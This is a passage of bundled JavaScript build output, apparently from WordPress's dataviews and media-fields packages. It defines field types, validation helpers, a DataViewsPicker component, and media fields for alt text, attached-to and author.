16336 }
16337 var sort2 = (a2, b2, direction) => {
16338 const timeA = new Date(a2).getTime();
16339 const timeB = new Date(b2).getTime();
16340 return direction === "asc" ? timeA - timeB : timeB - timeA;
16341 };
16342 var date_default = {
16343 type: "date",
16344 render,
16345 Edit: "date",
16346 sort: sort2,
16347 enableSorting: true,
16348 enableGlobalSearch: false,
16349 defaultOperators: [
16350 OPERATOR_ON,
16351 OPERATOR_NOT_ON,
16352 OPERATOR_BEFORE,
16353 OPERATOR_AFTER,
16354 OPERATOR_BEFORE_INC,
16355 OPERATOR_AFTER_INC,
16356 OPERATOR_IN_THE_PAST,
16357 OPERATOR_OVER,
16358 OPERATOR_BETWEEN
16359 ],
16360 validOperators: [
16361 OPERATOR_ON,
16362 OPERATOR_NOT_ON,
16363 OPERATOR_BEFORE,
16364 OPERATOR_AFTER,
16365 OPERATOR_BEFORE_INC,
16366 OPERATOR_AFTER_INC,
16367 OPERATOR_IN_THE_PAST,
16368 OPERATOR_OVER,
16369 OPERATOR_BETWEEN
16370 ],
16371 format: format5,
16372 getValueFormatted: getValueFormatted5,
16373 validate: {
16374 required: isValidRequired,
16375 elements: isValidElements
16376 }
16377 };
16378
16379 // packages/dataviews/build-module/field-types/boolean.mjs
16380 var import_i18n47 = __toESM(require_i18n(), 1);
16381
16382 // packages/dataviews/build-module/field-types/utils/is-valid-required-for-bool.mjs
16383 function isValidRequiredForBool(item, field) {
16384 const value = field.getValue({ item });
16385 return value === true;
16386 }
16387
16388 // packages/dataviews/build-module/field-types/boolean.mjs
16389 function getValueFormatted6({
16390 item,
16391 field
16392 }) {
16393 const value = field.getValue({ item });
16394 if (value === true) {
16395 return (0, import_i18n47.__)("True");
16396 }
16397 if (value === false) {
16398 return (0, import_i18n47.__)("False");
16399 }
16400 return "";
16401 }
16402 function isValidCustom4(item, field) {
16403 const value = field.getValue({ item });
16404 if (![void 0, "", null].includes(value) && ![true, false].includes(value)) {
16405 return (0, import_i18n47.__)("Value must be true, false, or undefined");
16406 }
16407 return null;
16408 }
16409 var sort3 = (a2, b2, direction) => {
16410 const boolA = Boolean(a2);
16411 const boolB = Boolean(b2);
16412 if (boolA === boolB) {
16413 return 0;
16414 }
16415 if (direction === "asc") {
16416 return boolA ? 1 : -1;
16417 }
16418 return boolA ? -1 : 1;
16419 };
16420 var boolean_default = {
16421 type: "boolean",
16422 render,
16423 Edit: "checkbox",
16424 sort: sort3,
16425 validate: {
16426 required: isValidRequiredForBool,
16427 elements: isValidElements,
16428 custom: isValidCustom4
16429 },
16430 enableSorting: true,
16431 enableGlobalSearch: false,
16432 defaultOperators: [OPERATOR_IS, OPERATOR_IS_NOT],
16433 validOperators: [OPERATOR_IS, OPERATOR_IS_NOT],
16434 format: {},
16435 getValueFormatted: getValueFormatted6
16436 };
16437
16438 // packages/dataviews/build-module/field-types/media.mjs
16439 var media_default = {
16440 type: "media",
16441 render: () => null,
16442 Edit: null,
16443 sort: () => 0,
16444 enableSorting: false,
16445 enableGlobalSearch: false,
16446 defaultOperators: [],
16447 validOperators: [],
16448 format: {},
16449 getValueFormatted: get_value_formatted_default_default,
16450 // cannot validate any constraint, so
16451 // the only available validation for the field author
16452 // would be providing a custom validator.
16453 validate: {}
16454 };
16455
16456 // packages/dataviews/build-module/field-types/array.mjs
16457 var import_i18n48 = __toESM(require_i18n(), 1);
16458
16459 // packages/dataviews/build-module/field-types/utils/is-valid-required-for-array.mjs
16460 function isValidRequiredForArray(item, field) {
16461 const value = field.getValue({ item });
16462 return Array.isArray(value) && value.length > 0 && value.every(
16463 (element) => ![void 0, "", null].includes(element)
16464 );
16465 }
16466
16467 // packages/dataviews/build-module/field-types/array.mjs
16468 function getValueFormatted7({
16469 item,
16470 field
16471 }) {
16472 const value = field.getValue({ item });
16473 const arr = Array.isArray(value) ? value : [];
16474 return arr.join(", ");
16475 }
16476 function render2({ item, field }) {
16477 return getValueFormatted7({ item, field });
16478 }
16479 function isValidCustom5(item, field) {
16480 const value = field.getValue({ item });
16481 if (![void 0, "", null].includes(value) && !Array.isArray(value)) {
16482 return (0, import_i18n48.__)("Value must be an array.");
16483 }
16484 if (!value.every((v2) => typeof v2 === "string")) {
16485 return (0, import_i18n48.__)("Every value must be a string.");
16486 }
16487 return null;
16488 }
16489 var sort4 = (a2, b2, direction) => {
16490 const arrA = Array.isArray(a2) ? a2 : [];
16491 const arrB = Array.isArray(b2) ? b2 : [];
16492 if (arrA.length !== arrB.length) {
16493 return direction === "asc" ? arrA.length - arrB.length : arrB.length - arrA.length;
16494 }
16495 const joinedA = arrA.join(",");
16496 const joinedB = arrB.join(",");
16497 return direction === "asc" ? joinedA.localeCompare(joinedB) : joinedB.localeCompare(joinedA);
16498 };
16499 var array_default = {
16500 type: "array",
16501 render: render2,
16502 Edit: "array",
16503 sort: sort4,
16504 enableSorting: true,
16505 enableGlobalSearch: false,
16506 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16507 validOperators: [
16508 OPERATOR_IS_ANY,
16509 OPERATOR_IS_NONE,
16510 OPERATOR_IS_ALL,
16511 OPERATOR_IS_NOT_ALL
16512 ],
16513 format: {},
16514 getValueFormatted: getValueFormatted7,
16515 validate: {
16516 required: isValidRequiredForArray,
16517 elements: isValidElements,
16518 custom: isValidCustom5
16519 }
16520 };
16521
16522 // packages/dataviews/build-module/field-types/password.mjs
16523 function getValueFormatted8({
16524 item,
16525 field
16526 }) {
16527 return field.getValue({ item }) ? "\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022" : "";
16528 }
16529 var password_default = {
16530 type: "password",
16531 render,
16532 Edit: "password",
16533 sort: () => 0,
16534 // Passwords should not be sortable for security reasons
16535 enableSorting: false,
16536 enableGlobalSearch: false,
16537 defaultOperators: [],
16538 validOperators: [],
16539 format: {},
16540 getValueFormatted: getValueFormatted8,
16541 validate: {
16542 required: isValidRequired,
16543 pattern: isValidPattern,
16544 minLength: isValidMinLength,
16545 maxLength: isValidMaxLength,
16546 elements: isValidElements
16547 }
16548 };
16549
16550 // packages/dataviews/build-module/field-types/telephone.mjs
16551 var telephone_default = {
16552 type: "telephone",
16553 render,
16554 Edit: "telephone",
16555 sort: sort_text_default,
16556 enableSorting: true,
16557 enableGlobalSearch: false,
16558 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16559 validOperators: [
16560 OPERATOR_IS,
16561 OPERATOR_IS_NOT,
16562 OPERATOR_CONTAINS,
16563 OPERATOR_NOT_CONTAINS,
16564 OPERATOR_STARTS_WITH,
16565 // Multiple selection
16566 OPERATOR_IS_ANY,
16567 OPERATOR_IS_NONE,
16568 OPERATOR_IS_ALL,
16569 OPERATOR_IS_NOT_ALL
16570 ],
16571 format: {},
16572 getValueFormatted: get_value_formatted_default_default,
16573 validate: {
16574 required: isValidRequired,
16575 pattern: isValidPattern,
16576 minLength: isValidMinLength,
16577 maxLength: isValidMaxLength,
16578 elements: isValidElements
16579 }
16580 };
16581
16582 // packages/dataviews/build-module/field-types/color.mjs
16583 var import_i18n49 = __toESM(require_i18n(), 1);
16584 var import_jsx_runtime97 = __toESM(require_jsx_runtime(), 1);
16585 function render3({ item, field }) {
16586 if (field.hasElements) {
16587 return /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(RenderFromElements, { item, field });
16588 }
16589 const value = get_value_formatted_default_default({ item, field });
16590 if (!value || !w(value).isValid()) {
16591 return value;
16592 }
16593 return /* @__PURE__ */ (0, import_jsx_runtime97.jsxs)("div", { style: { display: "flex", alignItems: "center", gap: "8px" }, children: [
16594 /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(
16595 "div",
16596 {
16597 style: {
16598 width: "16px",
16599 height: "16px",
16600 borderRadius: "50%",
16601 backgroundColor: value,
16602 border: "1px solid #ddd",
16603 flexShrink: 0
16604 }
16605 }
16606 ),
16607 /* @__PURE__ */ (0, import_jsx_runtime97.jsx)("span", { children: value })
16608 ] });
16609 }
16610 function isValidCustom6(item, field) {
16611 const value = field.getValue({ item });
16612 if (![void 0, "", null].includes(value) && !w(value).isValid()) {
16613 return (0, import_i18n49.__)("Value must be a valid color.");
16614 }
16615 return null;
16616 }
16617 var sort5 = (a2, b2, direction) => {
16618 const colorA = w(a2);
16619 const colorB = w(b2);
16620 if (!colorA.isValid() && !colorB.isValid()) {
16621 return 0;
16622 }
16623 if (!colorA.isValid()) {
16624 return direction === "asc" ? 1 : -1;
16625 }
16626 if (!colorB.isValid()) {
16627 return direction === "asc" ? -1 : 1;
16628 }
16629 const hslA = colorA.toHsl();
16630 const hslB = colorB.toHsl();
16631 if (hslA.h !== hslB.h) {
16632 return direction === "asc" ? hslA.h - hslB.h : hslB.h - hslA.h;
16633 }
16634 if (hslA.s !== hslB.s) {
16635 return direction === "asc" ? hslA.s - hslB.s : hslB.s - hslA.s;
16636 }
16637 return direction === "asc" ? hslA.l - hslB.l : hslB.l - hslA.l;
16638 };
16639 var color_default = {
16640 type: "color",
16641 render: render3,
16642 Edit: "color",
16643 sort: sort5,
16644 enableSorting: true,
16645 enableGlobalSearch: false,
16646 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16647 validOperators: [
16648 OPERATOR_IS,
16649 OPERATOR_IS_NOT,
16650 OPERATOR_IS_ANY,
16651 OPERATOR_IS_NONE
16652 ],
16653 format: {},
16654 getValueFormatted: get_value_formatted_default_default,
16655 validate: {
16656 required: isValidRequired,
16657 elements: isValidElements,
16658 custom: isValidCustom6
16659 }
16660 };
16661
16662 // packages/dataviews/build-module/field-types/url.mjs
16663 var url_default = {
16664 type: "url",
16665 render,
16666 Edit: "url",
16667 sort: sort_text_default,
16668 enableSorting: true,
16669 enableGlobalSearch: false,
16670 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16671 validOperators: [
16672 OPERATOR_IS,
16673 OPERATOR_IS_NOT,
16674 OPERATOR_CONTAINS,
16675 OPERATOR_NOT_CONTAINS,
16676 OPERATOR_STARTS_WITH,
16677 // Multiple selection
16678 OPERATOR_IS_ANY,
16679 OPERATOR_IS_NONE,
16680 OPERATOR_IS_ALL,
16681 OPERATOR_IS_NOT_ALL
16682 ],
16683 format: {},
16684 getValueFormatted: get_value_formatted_default_default,
16685 validate: {
16686 required: isValidRequired,
16687 pattern: isValidPattern,
16688 minLength: isValidMinLength,
16689 maxLength: isValidMaxLength,
16690 elements: isValidElements
16691 }
16692 };
16693
16694 // packages/dataviews/build-module/field-types/no-type.mjs
16695 var sort6 = (a2, b2, direction) => {
16696 if (typeof a2 === "number" && typeof b2 === "number") {
16697 return sort_number_default(a2, b2, direction);
16698 }
16699 return sort_text_default(a2, b2, direction);
16700 };
16701 var no_type_default = {
16702 // type: no type for this one
16703 render,
16704 Edit: null,
16705 sort: sort6,
16706 enableSorting: true,
16707 enableGlobalSearch: false,
16708 defaultOperators: [OPERATOR_IS, OPERATOR_IS_NOT],
16709 validOperators: getAllOperatorNames(),
16710 format: {},
16711 getValueFormatted: get_value_formatted_default_default,
16712 validate: {
16713 required: isValidRequired,
16714 elements: isValidElements
16715 }
16716 };
16717
16718 // packages/dataviews/build-module/field-types/utils/get-is-valid.mjs
16719 function getIsValid(field, fieldType) {
16720 let required;
16721 if (field.isValid?.required === true && fieldType.validate.required !== void 0) {
16722 required = {
16723 constraint: true,
16724 validate: fieldType.validate.required
16725 };
16726 }
16727 let elements;
16728 if ((field.isValid?.elements === true || // elements is enabled unless the field opts-out
16729 field.isValid?.elements === void 0 && (!!field.elements || !!field.getElements)) && fieldType.validate.elements !== void 0) {
16730 elements = {
16731 constraint: true,
16732 validate: fieldType.validate.elements
16733 };
16734 }
16735 let min;
16736 if (typeof field.isValid?.min === "number" && fieldType.validate.min !== void 0) {
16737 min = {
16738 constraint: field.isValid.min,
16739 validate: fieldType.validate.min
16740 };
16741 }
16742 let max;
16743 if (typeof field.isValid?.max === "number" && fieldType.validate.max !== void 0) {
16744 max = {
16745 constraint: field.isValid.max,
16746 validate: fieldType.validate.max
16747 };
16748 }
16749 let minLength;
16750 if (typeof field.isValid?.minLength === "number" && fieldType.validate.minLength !== void 0) {
16751 minLength = {
16752 constraint: field.isValid.minLength,
16753 validate: fieldType.validate.minLength
16754 };
16755 }
16756 let maxLength;
16757 if (typeof field.isValid?.maxLength === "number" && fieldType.validate.maxLength !== void 0) {
16758 maxLength = {
16759 constraint: field.isValid.maxLength,
16760 validate: fieldType.validate.maxLength
16761 };
16762 }
16763 let pattern;
16764 if (field.isValid?.pattern !== void 0 && fieldType.validate.pattern !== void 0) {
16765 pattern = {
16766 constraint: field.isValid?.pattern,
16767 validate: fieldType.validate.pattern
16768 };
16769 }
16770 const custom = field.isValid?.custom ?? fieldType.validate.custom;
16771 return {
16772 required,
16773 elements,
16774 min,
16775 max,
16776 minLength,
16777 maxLength,
16778 pattern,
16779 custom
16780 };
16781 }
16782
16783 // packages/dataviews/build-module/field-types/utils/get-filter.mjs
16784 function getFilter(fieldType) {
16785 return fieldType.validOperators.reduce((accumulator, operator) => {
16786 const operatorObj = getOperatorByName(operator);
16787 if (operatorObj?.filter) {
16788 accumulator[operator] = operatorObj.filter;
16789 }
16790 return accumulator;
16791 }, {});
16792 }
16793
16794 // packages/dataviews/build-module/field-types/utils/get-format.mjs
16795 function getFormat(field, fieldType) {
16796 return {
16797 ...fieldType.format,
16798 ...field.format
16799 };
16800 }
16801 var get_format_default = getFormat;
16802
16803 // packages/dataviews/build-module/field-types/index.mjs
16804 function getFieldTypeByName(type) {
16805 const found = [
16806 email_default,
16807 integer_default,
16808 number_default,
16809 text_default,
16810 datetime_default,
16811 date_default,
16812 boolean_default,
16813 media_default,
16814 array_default,
16815 password_default,
16816 telephone_default,
16817 color_default,
16818 url_default
16819 ].find((fieldType) => fieldType?.type === type);
16820 if (!!found) {
16821 return found;
16822 }
16823 return no_type_default;
16824 }
16825 function normalizeFields(fields) {
16826 return fields.map((field) => {
16827 const fieldType = getFieldTypeByName(field.type);
16828 const getValue = field.getValue || get_value_from_id_default(field.id);
16829 const sort7 = function(a2, b2, direction) {
16830 const aValue = getValue({ item: a2 });
16831 const bValue = getValue({ item: b2 });
16832 return field.sort ? field.sort(aValue, bValue, direction) : fieldType.sort(aValue, bValue, direction);
16833 };
16834 return {
16835 id: field.id,
16836 label: field.label || field.id,
16837 header: field.header || field.label || field.id,
16838 description: field.description,
16839 placeholder: field.placeholder,
16840 getValue,
16841 setValue: field.setValue || set_value_from_id_default(field.id),
16842 elements: field.elements,
16843 getElements: field.getElements,
16844 hasElements: hasElements(field),
16845 isVisible: field.isVisible,
16846 enableHiding: field.enableHiding ?? true,
16847 readOnly: field.readOnly ?? false,
16848 // The type provides defaults for the following props
16849 type: fieldType.type,
16850 render: field.render ?? fieldType.render,
16851 Edit: getControl(field, fieldType.Edit),
16852 sort: sort7,
16853 enableSorting: field.enableSorting ?? fieldType.enableSorting,
16854 enableGlobalSearch: field.enableGlobalSearch ?? fieldType.enableGlobalSearch,
16855 isValid: getIsValid(field, fieldType),
16856 filterBy: get_filter_by_default(
16857 field,
16858 fieldType.defaultOperators,
16859 fieldType.validOperators
16860 ),
16861 filter: getFilter(fieldType),
16862 format: get_format_default(field, fieldType),
16863 getValueFormatted: field.getValueFormatted ?? fieldType.getValueFormatted
16864 };
16865 });
16866 }
16867
16868 // packages/dataviews/build-module/dataviews-picker/index.mjs
16869 var import_element54 = __toESM(require_element(), 1);
16870 var import_compose12 = __toESM(require_compose(), 1);
16871 var import_jsx_runtime98 = __toESM(require_jsx_runtime(), 1);
16872 var isItemClickable = () => false;
16873 var dataViewsPickerLayouts = VIEW_LAYOUTS.filter(
16874 (viewLayout) => viewLayout.isPicker
16875 );
16876 var defaultGetItemId = (item) => item.id;
16877 var EMPTY_ARRAY5 = [];
16878 function DefaultUI({
16879 search = true,
16880 searchLabel = void 0
16881 }) {
16882 return /* @__PURE__ */ (0, import_jsx_runtime98.jsxs)(import_jsx_runtime98.Fragment, { children: [
16883 /* @__PURE__ */ (0, import_jsx_runtime98.jsxs)(
16884 Stack,
16885 {
16886 direction: "row",
16887 align: "top",
16888 justify: "space-between",
16889 className: "dataviews__view-actions",
16890 gap: "xs",
16891 children: [
16892 /* @__PURE__ */ (0, import_jsx_runtime98.jsxs)(
16893 Stack,
16894 {
16895 direction: "row",
16896 gap: "sm",
16897 justify: "start",
16898 className: "dataviews__search",
16899 children: [
16900 search && /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(dataviews_search_default, { label: searchLabel }),
16901 /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(toggle_default, {})
16902 ]
16903 }
16904 ),
16905 /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(Stack, { direction: "row", gap: "xs", style: { flexShrink: 0 }, children: /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(dataviews_view_config_default, {}) })
16906 ]
16907 }
16908 ),
16909 /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(filters_toggled_default, { className: "dataviews-filters__container" }),
16910 /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(DataViewsLayout, {}),
16911 /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(DataViewsPickerFooter, {})
16912 ] });
16913 }
16914 function DataViewsPicker({
16915 view,
16916 onChangeView,
16917 fields,
16918 search = true,
16919 searchLabel = void 0,
16920 actions = EMPTY_ARRAY5,
16921 data,
16922 getItemId = defaultGetItemId,
16923 isLoading = false,
16924 paginationInfo,
16925 defaultLayouts: defaultLayoutsProperty,
16926 selection,
16927 onChangeSelection,
16928 children,
16929 config = { perPageSizes: [10, 20, 50, 100] },
16930 itemListLabel,
16931 empty
16932 }) {
16933 const { infiniteScrollHandler } = paginationInfo;
16934 const containerRef = (0, import_element54.useRef)(null);
16935 const [containerWidth, setContainerWidth] = (0, import_element54.useState)(0);
16936 const resizeObserverRef = (0, import_compose12.useResizeObserver)(
16937 (resizeObserverEntries) => {
16938 setContainerWidth(
16939 resizeObserverEntries[0].borderBoxSize[0].inlineSize
16940 );
16941 },
16942 { box: "border-box" }
16943 );
16944 const [openedFilter, setOpenedFilter] = (0, import_element54.useState)(null);
16945 function setSelectionWithChange(value) {
16946 const newValue = typeof value === "function" ? value(selection) : value;
16947 if (onChangeSelection) {
16948 onChangeSelection(newValue);
16949 }
16950 }
16951 const _fields = (0, import_element54.useMemo)(() => normalizeFields(fields), [fields]);
16952 const filters = use_filters_default(_fields, view);
16953 const hasPrimaryOrLockedFilters = (0, import_element54.useMemo)(
16954 () => (filters || []).some(
16955 (filter) => filter.isPrimary || filter.isLocked
16956 ),
16957 [filters]
16958 );
16959 const [isShowingFilter, setIsShowingFilter] = (0, import_element54.useState)(
16960 hasPrimaryOrLockedFilters
16961 );
16962 (0, import_element54.useEffect)(() => {
16963 if (hasPrimaryOrLockedFilters && !isShowingFilter) {
16964 setIsShowingFilter(true);
16965 }
16966 }, [hasPrimaryOrLockedFilters, isShowingFilter]);
16967 (0, import_element54.useEffect)(() => {
16968 if (!view.infiniteScrollEnabled || !containerRef.current) {
16969 return;
16970 }
16971 const handleScroll = (0, import_compose12.throttle)((event) => {
16972 const target = event.target;
16973 const scrollTop = target.scrollTop;
16974 const scrollHeight = target.scrollHeight;
16975 const clientHeight = target.clientHeight;
16976 if (scrollTop + clientHeight >= scrollHeight - 100) {
16977 infiniteScrollHandler?.();
16978 }
16979 }, 100);
16980 const container = containerRef.current;
16981 container.addEventListener("scroll", handleScroll);
16982 return () => {
16983 container.removeEventListener("scroll", handleScroll);
16984 handleScroll.cancel();
16985 };
16986 }, [infiniteScrollHandler, view.infiniteScrollEnabled]);
16987 const defaultLayouts = (0, import_element54.useMemo)(
16988 () => Object.fromEntries(
16989 Object.entries(defaultLayoutsProperty).filter(
16990 ([layoutType]) => {
16991 return dataViewsPickerLayouts.some(
16992 (viewLayout) => viewLayout.type === layoutType
16993 );
16994 }
16995 )
16996 ),
16997 [defaultLayoutsProperty]
16998 );
16999 if (!defaultLayouts[view.type]) {
17000 return null;
17001 }
17002 return /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(
17003 dataviews_context_default.Provider,
17004 {
17005 value: {
17006 view,
17007 onChangeView,
17008 fields: _fields,
17009 actions,
17010 data,
17011 isLoading,
17012 paginationInfo,
17013 isItemClickable,
17014 selection,
17015 onChangeSelection: setSelectionWithChange,
17016 openedFilter,
17017 setOpenedFilter,
17018 getItemId,
17019 containerWidth,
17020 containerRef,
17021 resizeObserverRef,
17022 defaultLayouts,
17023 filters,
17024 isShowingFilter,
17025 setIsShowingFilter,
17026 config,
17027 itemListLabel,
17028 empty,
17029 hasInitiallyLoaded: true,
17030 hasInfiniteScrollHandler: !!infiniteScrollHandler
17031 },
17032 children: /* @__PURE__ */ (0, import_jsx_runtime98.jsx)("div", { className: "dataviews-picker-wrapper", ref: containerRef, children: children ?? /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(DefaultUI, { search, searchLabel }) })
17033 }
17034 );
17035 }
17036 var DataViewsPickerSubComponents = DataViewsPicker;
17037 DataViewsPickerSubComponents.BulkActionToolbar = DataViewsPickerFooter;
17038 DataViewsPickerSubComponents.Filters = filters_default;
17039 DataViewsPickerSubComponents.FiltersToggled = filters_toggled_default;
17040 DataViewsPickerSubComponents.FiltersToggle = toggle_default;
17041 DataViewsPickerSubComponents.Layout = DataViewsLayout;
17042 DataViewsPickerSubComponents.LayoutSwitcher = ViewTypeMenu;
17043 DataViewsPickerSubComponents.Pagination = DataViewsPagination;
17044 DataViewsPickerSubComponents.Search = dataviews_search_default;
17045 DataViewsPickerSubComponents.ViewConfig = DataviewsViewConfigDropdown;
17046 var dataviews_picker_default = DataViewsPickerSubComponents;
17047
17048 // packages/media-fields/build-module/alt_text/index.mjs
17049 var import_i18n50 = __toESM(require_i18n(), 1);
17050 var import_components47 = __toESM(require_components(), 1);
17051 var import_jsx_runtime99 = __toESM(require_jsx_runtime(), 1);
17052 var altTextField = {
17053 id: "alt_text",
17054 type: "text",
17055 label: (0, import_i18n50.__)("Alt text"),
17056 isVisible: (item) => item?.media_type === "image",
17057 render: ({ item }) => item?.alt_text || "-",
17058 Edit: ({ field, onChange, data }) => {
17059 return /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(
17060 import_components47.TextareaControl,
17061 {
17062 label: field.label,
17063 value: data.alt_text || "",
17064 onChange: (value) => onChange({ alt_text: value }),
17065 rows: 2
17066 }
17067 );
17068 },
17069 enableSorting: false,
17070 filterBy: false
17071 };
17072 var alt_text_default = altTextField;
17073
17074 // packages/media-fields/build-module/attached_to/index.mjs
17075 var import_i18n53 = __toESM(require_i18n(), 1);
17076
17077 // packages/media-fields/build-module/attached_to/view.mjs
17078 var import_element55 = __toESM(require_element(), 1);
17079 var import_i18n51 = __toESM(require_i18n(), 1);
17080
17081 // packages/media-fields/build-module/utils/get-rendered-content.mjs
17082 function getRenderedContent(content) {
17083 if (!content) {
17084 return "";
17085 }
17086 if (typeof content === "string") {
17087 return content;
17088 }
17089 if (typeof content === "object") {
17090 return content.rendered || content.raw || "";
17091 }
17092 return "";
17093 }
17094
17095 // packages/media-fields/build-module/attached_to/view.mjs
17096 var import_jsx_runtime100 = __toESM(require_jsx_runtime(), 1);
17097 function MediaAttachedToView({
17098 item
17099 }) {
17100 const [attachedPostTitle, setAttachedPostTitle] = (0, import_element55.useState)(null);
17101 const parentId = item.post;
17102 const embeddedPostId = item._embedded?.["wp:attached-to"]?.[0]?.id;
17103 const embeddedPostTitle = item._embedded?.["wp:attached-to"]?.[0]?.title;
17104 (0, import_element55.useEffect)(() => {
17105 if (!!parentId && parentId === embeddedPostId) {
17106 setAttachedPostTitle(
17107 getRenderedContent(embeddedPostTitle) || embeddedPostId?.toString() || ""
17108 );
17109 }
17110 if (!parentId) {
17111 setAttachedPostTitle((0, import_i18n51.__)("(Unattached)"));
17112 }
17113 }, [parentId, embeddedPostId, embeddedPostTitle]);
17114 return /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(import_jsx_runtime100.Fragment, { children: attachedPostTitle });
17115 }
17116
17117 // packages/media-fields/build-module/attached_to/edit.mjs
17118 var import_core_data = __toESM(require_core_data(), 1);
17119 var import_components48 = __toESM(require_components(), 1);
17120 var import_i18n52 = __toESM(require_i18n(), 1);
17121 var import_element56 = __toESM(require_element(), 1);
17122 var import_compose13 = __toESM(require_compose(), 1);
17123 var import_data6 = __toESM(require_data(), 1);
17124 var import_jsx_runtime101 = __toESM(require_jsx_runtime(), 1);
17125 function MediaAttachedToEdit({
17126 data,
17127 onChange
17128 }) {
17129 const defaultPost = !!data.post && !!data?._embedded?.["wp:attached-to"]?.[0] ? [
17130 {
17131 label: getRenderedContent(
17132 data._embedded?.["wp:attached-to"]?.[0]?.title
17133 ),
17134 value: data.post.toString()
17135 }
17136 ] : [];
17137 const [options, setOptions] = (0, import_element56.useState)(defaultPost);
17138 const [searchResults, setSearchResults] = (0, import_element56.useState)(
17139 []
17140 );
17141 const [isLoading, setIsLoading] = (0, import_element56.useState)(false);
17142 const [value, setValue] = (0, import_element56.useState)(
17143 data?.post?.toString() ?? null
17144 );
17145 const postTypes = (0, import_data6.useSelect)(
17146 (select) => select(import_core_data.store).getPostTypes(),
17147 []
17148 );
17149 const handleDetach = () => {
17150 onChange({
17151 post: 0,
17152 _embedded: { ...data?._embedded, "wp:attached-to": void 0 }
17153 });
17154 setOptions([]);
17155 };
17156 const onValueChange = async (filterValue) => {
17157 setIsLoading(true);
17158 const results = await (0, import_core_data.__experimentalFetchLinkSuggestions)(
17159 filterValue,
17160 /*
17161 * @TODO `fetchLinkSuggestions()` should accept `perPage` as an option argument.
17162 * `isInitialSuggestions` limits the result to 3, otherwise it's hardcoded to 20.
17163 */
17164 { type: "post", isInitialSuggestions: true },
17165 {}
17166 );
17167 setSearchResults(results);
17168 const mappedSuggestions = results.map((result) => {
17169 return {
17170 label: result.title,
17171 value: result.id.toString()
17172 };
17173 });
17174 setOptions(mappedSuggestions);
17175 setIsLoading(false);
17176 };
17177 const handleSelectOption = (selectedPostId) => {
17178 if (!selectedPostId) {
17179 handleDetach();
17180 return;
17181 }
17182 setValue(selectedPostId);
17183 if (selectedPostId) {
17184 const selectedPost = searchResults.find(
17185 (result) => result.id === Number(selectedPostId)
17186 );
17187 if (selectedPost && postTypes) {
17188 const postType = postTypes.find(
17189 (_postType) => _postType.slug === selectedPost?.type
17190 );
17191 const attachedTo = {
17192 ...postType && { type: postType.slug },
17193 id: Number(selectedPostId),
17194 title: {
17195 raw: selectedPost.title,
17196 rendered: selectedPost.title
17197 }
17198 };
17199 onChange({
17200 post: Number(selectedPostId),
17201 _embedded: {
17202 ...data?._embedded,
17203 "wp:attached-to": [attachedTo]
17204 }
17205 });
17206 }
17207 }
17208 };
17209 const help = !!data.post ? (0, import_element56.createInterpolateElement)(
17210 (0, import_i18n52.__)(
17211 "Search for a post or page to attach this media to or <button>detach current</button>."
17212 ),
17213 {
17214 button: /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(
17215 import_components48.Button,
17216 {
17217 __next40pxDefaultSize: true,
17218 onClick: handleDetach,
17219 variant: "link",
17220 accessibleWhenDisabled: true
17221 }
17222 )
17223 }
17224 ) : (0, import_i18n52.__)("Search for a post or page to attach this media to.");
17225 return /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(
17226 import_components48.ComboboxControl,
17227 {
17228 className: "dataviews-media-field__attached-to",
17229 __next40pxDefaultSize: true,
17230 isLoading,
17231 label: (0, import_i18n52.__)("Attached to"),
17232 help,
17233 value,
17234 options,
17235 onFilterValueChange: (0, import_compose13.debounce)(
17236 (filterValue) => onValueChange(filterValue),
17237 300
17238 ),
17239 onChange: handleSelectOption,
17240 hideLabelFromVision: true
17241 }
17242 );
17243 }
17244
17245 // packages/media-fields/build-module/attached_to/index.mjs
17246 var attachedToField = {
17247 id: "attached_to",
17248 type: "text",
17249 label: (0, import_i18n53.__)("Attached to"),
17250 Edit: MediaAttachedToEdit,
17251 render: MediaAttachedToView,
17252 enableSorting: false,
17253 filterBy: false
17254 };
17255 var attached_to_default = attachedToField;
17256
17257 // packages/media-fields/build-module/author/index.mjs
17258 var import_i18n55 = __toESM(require_i18n(), 1);
17259 var import_data7 = __toESM(require_data(), 1);
17260 var import_core_data2 = __toESM(require_core_data(), 1);
17261
17262 // packages/media-fields/build-module/author/view.mjs
17263 var import_i18n54 = __toESM(require_i18n(), 1);
17264 var import_element57 = __toESM(require_element(), 1);
17265 var import_components49 = __toESM(require_components(), 1);
17266 var import_jsx_runtime102 = __toESM(require_jsx_runtime(), 1);
17267 function AuthorView({
17268 item
17269 }) {
17270 const author = item?._embedded?.author?.[0];
17271 const text = author?.name;
17272 const imageUrl = author?.avatar_urls?.[48];
17273 const [loadingState, setLoadingState] = (0, import_element57.useState)("loading");
17274 (0, import_element57.useEffect)(() => {
17275 setLoadingState("loading");
17276 }, [imageUrl]);
17277 const imgRef = (0, import_element57.useCallback)((img) => {
17278 if (img?.complete) {
17279 setLoadingState("instant");
17280 }
17281 }, []);
17282 const handleLoad = () => {
17283 if (loadingState === "loading") {
17284 setLoadingState("loaded");
17285 }
17286 };
17287 return /* @__PURE__ */ (0, import_jsx_runtime102.jsxs)(import_components49.__experimentalHStack, { alignment: "left", spacing: 0, children: [
17288 !!imageUrl && /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(
17289 "div",
17290 {
17291 className: clsx_default("media-author-field__avatar", {
17292 "is-loading": loadingState === "loading",
17293 "is-loaded": loadingState === "loaded"
17294 }),
17295 children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(
17296 "img",
17297 {
17298 ref: imgRef,
17299 onLoad: handleLoad,
